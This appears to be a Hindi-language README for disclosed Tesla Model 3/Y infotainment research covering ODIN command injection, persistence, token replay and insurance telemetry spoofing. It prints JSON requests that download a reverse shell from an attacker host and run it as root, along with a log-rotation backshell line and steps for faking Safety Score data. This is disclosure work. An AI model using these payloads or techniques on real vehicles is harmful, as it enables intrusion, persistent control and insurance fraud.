
Tesla Model 3/Y इन्फोटेनमेंट सिस्टम पर भेद्यता अनुसंधान। 6 भेद्यताएं, 4 CVEs (CVE-2022-42005 through CVE-2022-42008)। रूट शेल, स्थायी पहुंच, बीमा टेलीमेट्री स्पूफिंग।
टेस्ला मॉडल 3/Y इन्फोटेनमेंट सिस्टम (Intel Atom MCU, Linux 4.14.235) पर कमजोरियों पर शोध, जिसे बगक्राउड के माध्यम से टेस्ला को जिम्मेदारी से प्रकट किया गया।
टेस्ला के ODIN डायग्नोस्टिक इंटरफ़ेस में कमांड इंजेक्शन भेद्यता के माध्यम से एक उत्पादन टेस्ला मॉडल 3 पर स्थायी रूट एक्सेस प्राप्त किया (CVE-2022-42008)। वहां से, पांच अतिरिक्त कमजोरियों की खोज की - जिसमें एक स्थायित्व विधि शामिल है जो फर्मवेयर अपडेट में बची रहती है (CVE-2022-42005, CVE-2022-42006) और सेफ्टी स्कोर बीमा टेलीमेट्री को स्पूफ करने की एक विधि जिसने सीधे मासिक प्रीमियम को $130 से घटाकर $83 कर दिया।
ODIN, हर्मीस और सेफ्टी स्कोर में छह कमजोरियां। चार CVE. बगक्राउड के माध्यम से पुरस्कृत और टेस्ला के SSH सुरक्षा शोधकर्ता कार्यक्रम में नामांकित।
| खोज | CVE | प्रभाव | स्थिति | पुरस्कार |
|---|---|---|---|---|
| ODIN के माध्यम से रूट शेल | CVE-2022-42008 | कमांड इंजेक्शन के माध्यम से रूट शेल | ठीक किया गया (2021.32.10) | बगक्राउड इनाम |
| समाप्त ODIN टोकन | CVE-2022-42007 | NTP स्पूफिंग के माध्यम से टोकन रीप्ले | ठीक किया गया (2021.32.10) | बगक्राउड इनाम |
| मदरशिप पर अपलोड | — | टेस्ला सर्वर पर मनमाना फ़ाइल अपलोड | N/A के रूप में चिह्नित | — |
| लॉग बैकशेल + DV एक्सेस | CVE-2022-42005, CVE-2022-42006 | फर्मवेयर अपडेट में बचने वाला स्थायी एक्सेस | ठीक किया गया | बगक्राउड इनाम |
| बीमा टेलीमेट्री स्पूफिंग | — | स्पूफ किया गया सेफ्टी स्कोर बीमा प्रीमियम कम करता है | कोई सुधार की पुष्टि नहीं | — |
| अनफ्यूज़ ODIN | — | प्रमाणीकरण के बिना कोई भी ODIN कार्य | कोई सुधार की पुष्टि नहीं | — |
टेस्ला मॉडल 3/Y इन्फोटेनमेंट सिस्टम (Intel Atom MCU) इस शोध के दौरान पहचानी गई कई हमले की सतहों के साथ एक Linux-आधारित OS चलाता है:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
पूर्ण रिपोर्ट: ODIN के माध्यम से रूट शेल | लॉग बैकशेल + DV एक्सेस
ODIN डायग्नोस्टिक इंटरफ़ेस एक कार्य प्रकट करता है जिसे TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK कहा जाता है जो एक MicTest-Input पैरामीटर स्वीकार करता है — स्ट्रिंग्स की एक सूची जो रूट के रूप में निष्पादन के लिए सीधे CID_EXEC को भेजी जाती है। न्यूनतम टूलबॉक्स एक्सेस स्तर (tbx-external) वाला कोई भी ग्राहक कार के डायग्नोस्टिक पोर्ट से कनेक्ट होकर और POST अनुरोध भेजकर इस कार्य को ट्रिगर कर सकता है। इनपुट स्ट्रिंग्स शब्दशः निष्पादित की जाती हैं, इसलिए हमला दो अनुरोध है: पहला, कार पर curl के माध्यम से एक रिवर्स शेल स्क्रिप्ट डाउनलोड करें:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
फिर इसे निष्पादित करें:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
रूट शेल स्थापित होने के बाद, svlogd लॉग रोटेशन कॉन्फ़िगरेशन को हाईजैक करके स्थायी पहुंच प्राप्त की जाती है। मानक gzip संपीड़न कमांड को एक स्क्रिप्ट से बदल दिया जाता है जो हर बार लॉग रोटेट होने पर log खाते के तहत एक बैकशेल खोलती है:
!sh /var/log/wpa_supplicant/gzip.sh -c
कॉन्फ़िग फ़ाइल को chattr +i के साथ अपरिवर्तनीय बनाया जाता है, यह सुनिश्चित करते हुए कि यह फर्मवेयर अपडेट में बची रहती है। जबकि log खाता डेटा मान सेट करने के लिए मानक sdv कमांड का उपयोग नहीं कर सकता (dbus इसे अस्वीकार करता है), टेस्ला का निष्क्रिय prototype_server settings.conf के माध्यम से सक्षम होने पर सभी डेटा मानों तक अप्रतिबंधित वेबसॉकेट एक्सेस प्रदान करता है। कस्टम शेल स्क्रिप्ट का एक सेट (sdv, lv, send.sh) इस सर्वर के साथ बातचीत करने के लिए एक वेबसॉकेट क्लाइंट का अनुकरण करता है।
पूर्ण स्थायित्व टूलकिट कार के एक्सेस कोड इनपुट बॉक्स के माध्यम से नियंत्रित किया जाता है (टचस्क्रीन पर कार मॉडल को लंबे समय तक दबाकर दिखाई देता है), जिसे एक लिसनर स्क्रिप्ट द्वारा मॉनिटर किया जाता है जो कमांड भेजती है — जिसमें बैकशेल खोलना, डेटा मान सेट करना और सेवा मोड टॉगल करना शामिल है।
टेस्ला का ODIN टोकन जनरेशन एंडपॉइंट समाप्त tbx-tokens स्वीकार करता है और — महत्वपूर्ण रूप से — प्रतिक्रिया में उपयोगकर्ता का tbx-token भी लौटाता है, जिससे साझाकरण के माध्यम से टोकन लीक हो सकता है। समाप्त ODIN टोकन आमतौर पर वाहन द्वारा अस्वीकार कर दिए जाते हैं, लेकिन ARP-आधारित इंटरसेप्शन (ntpspoof.py) का उपयोग करके कार के NTP समय स्रोत को स्पूफ करके, वाहन को उनकी समाप्ति तिथि के बाद टोकन स्वीकार करने के लिए धोखा दिया जा सकता है। गेटवे NTP छेड़छाड़ का पता लगाता है (GTW_w149_rtcTimeSetInPast) लेकिन इस सिग्नल पर कार्रवाई नहीं करता।
कार के प्रमाणपत्रों का उपयोग करके /var/lib/car_creds/ से, hermes_proxy सेवा को स्थानीय मशीन पर शुरू किया जा सकता है, जो टेस्ला के मदरशिप सर्वर तक सीधी पहुंच प्रदान करता है। प्रोफ़ाइल बैकअप एंडपॉइंट (/vehicles/${VIN}/computer_profile) बिना किसी सत्यापन के मनमाना फ़ाइल अपलोड स्वीकार करता है — एक एकल curl कमांड किसी भी फ़ाइल को टेस्ला के उत्पादन बुनियादी ढांचे पर अपलोड करता है। टेस्ला ने इस निष्कर्ष को N/A ("जैसा इरादा है काम कर रहा है") के रूप में चिह्नित किया।
टेस्ला का सेफ्टी स्कोर सिस्टम MCU से ड्राइविंग टेलीमेट्री एकत्र करता है और बीमा प्रीमियम गणना के लिए इसे मदरशिप पर अपलोड करता है। रूट एक्सेस के साथ, एक परफेक्ट-स्कोर टेलीमेट्री नमूना कैप्चर किया जा सकता है, इसके protobuf-एन्कोडेड ओडोमीटर मानों को हेक्स एडिटिंग के माध्यम से बढ़ाया जा सकता है (रिवर्स-इंजीनियर स्कीमा telemetry.proto का उपयोग करके), और संशोधित नमूनों को फिर से अपलोड किया जा सकता है। दो गढ़ी गई यात्राओं को मदरशिप द्वारा स्वीकार किया गया — एक में 3.5 घंटे में ~2,700 मील दिखाया गया — जिससे सीधे मासिक बीमा प्रीमियम $130 से घटकर $83 हो गया। मूल मुद्दा यह है कि टेलीमेट्री MCU (उपयोगकर्ता-सुलभ) से उत्पन्न होती है न कि APE3 ऑटोपायलट यूनिट (हार्डन्ड) से। टेस्ला ने इस निष्कर्ष के लिए कोई इनाम जारी नहीं किया।
रूट एक्सेस के साथ, /usr/bin/is-fused पर एक नकली is-fused स्क्रिप्ट को बाइंड-माउंट करना और ODIN सेवाओं को पुनरारंभ करना ODIN को विश्वास दिलाता है कि यूनिट फैक्ट्री/डेवलपमेंट मोड में है। इस स्थिति में, बिना प्रमाणीकरण टोकन के कोई भी ODIN कार्य निष्पादित किया जा सकता है — जिसमें वे कार्य शामिल हैं जो कार अलार्म को अक्षम कर सकते हैं (PROC_ICE_X_SET-DATA-VALUE), VIN मिटा सकते हैं (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID), या संभावित रूप से सुरक्षा-महत्वपूर्ण वाहन कार्यों को संलग्न कर सकते हैं।
यह शोध जिम्मेदार सुरक्षा अनुसंधान के भाग के रूप में किया गया था और बगक्राउड के माध्यम से टेस्ला के बग बाउंटी कार्यक्रम को रिपोर्ट किया गया था। असाइन किए गए CVE वाली सभी कमजोरियों को वर्तमान फर्मवेयर संस्करणों में पैच किया गया है। यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों के लिए प्रकाशित की गई है।
इस शोध के परिणामस्वरूप, टीम को बगक्राउड के माध्यम से वित्तीय इनाम से सम्मानित किया गया और टेस्ला के SSH सुरक्षा शोधकर्ता कार्यक्रम में नामांकित किया गया, निरंतर शोध पहुंच के लिए हस्ताक्षरित SSH प्रमाणपत्र प्राप्त हुए।
शोध SourceHat Labs Inc. की ओर से किया गया।
| उपकरण | विवरण |
|---|
| ntpspoof.py | समाप्त ODIN टोकन को रीप्ले करने के लिए ARP-आधारित NTP स्पूफिंग (Python/scapy) |
| telemetry.proto | टेस्ला सेफ्टी स्कोर टेलीमेट्री के लिए रिवर्स-इंजीनियर protobuf स्कीमा (34 फ़ील्ड) |
| listen.sh | एक्सेस कोड बॉक्स कमांड लिसनर — टचस्क्रीन के माध्यम से गुप्त कमांड इंटरफ़ेस |
| sdv | prototype_server वेबसॉकेट के माध्यम से डेटा मान सेट करें |
| lv | prototype_server वेबसॉकेट के माध्यम से डेटा मान प्राप्त करें |
| send.sh | prototype_server संचार के लिए वेबसॉकेट फ्रेम निर्माण |